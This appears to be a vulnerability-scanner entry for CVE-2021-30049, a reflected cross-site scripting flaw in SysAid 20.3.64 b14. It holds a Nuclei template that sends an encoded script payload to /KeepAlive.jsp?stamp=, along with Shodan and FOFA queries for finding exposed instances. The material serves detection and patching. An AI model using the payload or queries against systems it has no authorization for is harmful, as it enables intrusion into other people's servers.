SysAid Technologies 20.3.64 b14 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

SysAid 20.3.64 b14 contains a cross-site scripting vulnerability via the /KeepAlive.jsp?stamp= URI.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest patch or upgrade to a non-vulnerable version of SysAid Technologies 20.3.64 b14 to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-30049 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-30049

info:
  name: SysAid Technologies 20.3.64 b14 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: SysAid 20.3.64 b14 contains a cross-site scripting vulnerability via the /KeepAlive.jsp?stamp= URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of SysAid Technologies 20.3.64 b14 to mitigate the XSS vulnerability.
  reference:
    - https://eh337.net/2021/03/30/sysaid/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30049
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30049
    cwe-id: CWE-79
    epss-score: 0.0247
    epss-percentile: 0.84647
    cpe: cpe:2.3:a:sysaid:sysaid:20.3.64:b14:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:1540720428
    fofa-query: icon_hash=1540720428
  tags: cve2021,cve,xss,sysaid,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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